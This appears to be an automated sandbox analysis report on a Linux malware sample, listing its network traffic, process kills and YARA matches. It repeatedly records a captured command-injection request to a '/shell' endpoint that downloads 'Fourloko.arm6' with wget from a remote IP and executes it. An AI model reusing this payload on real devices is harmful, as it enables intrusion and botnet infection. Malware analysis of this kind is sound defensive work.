Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;rm+-rf+;wget+104.244.72.234/Fourloko/Fourloko.arm6;chmod+777+/tmp/Fourloko.arm6;sh+/tmp/Fourloko.arm6+Jaws HTTP/1.1User-Agent: Hello, worldHost: 127.0.0.1:80Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8Connection: keep-alive

Source: unknown	HTTPS traffic detected: 162.213.33.132:443 -> 192.168.2.23:35442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36694 version: TLS 1.2

System Summary:

Sample tries to kill multiple processes (SIGKILL)

Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5041, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5179, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5180, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5282, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5294, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5321, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5372, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5386, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5567, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5575, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5653, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5659, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5668, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5669, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5671, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5674, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5734, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5740, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5746, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5750, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5757, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5843, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5849, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5850, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5851, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5852, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5854, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5857, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5917, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5924, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5925, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5947, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5948, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5956, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5961, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5286)	SIGKILL sent: pid: 936, result: successful	Jump to behavior

Yara signature match

Source: nSg5RM0w0d, type: SAMPLE	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5278.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5281.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5294.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5282.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.000000001aa4a697.0000000013aff119.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5290.1.00000000bae8d7b5.000000001aa4a697.rw-.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5289.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 5286.1.000000006df8adf2.000000004f0c6a25.r-x.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =

Sample tries to kill a process (SIGKILL)

Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 936, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5286, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 491, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 658, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 720, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 721, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 759, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 761, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 772, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 774, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 777, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 785, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 793, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1334, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1335, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1344, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1872, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 1886, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 2048, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5041, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5179, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5180, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5282, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5290, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5294, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5321, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5372, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5386, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5459, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5461, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5566, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5567, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5571, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5575, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5653, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5659, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5668, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5669, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5671, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5674, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5734, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5740, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5746, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5750, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5757, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5763, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5843, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5849, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5850, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5851, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5852, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5854, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5857, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5917, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5924, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5925, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5947, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5948, result: successful	Jump to behavior
Source: /tmp/nSg5RM0w0d (PID: 5280)	SIGKILL sent: pid: 5956, result: successful	Jump to behavior
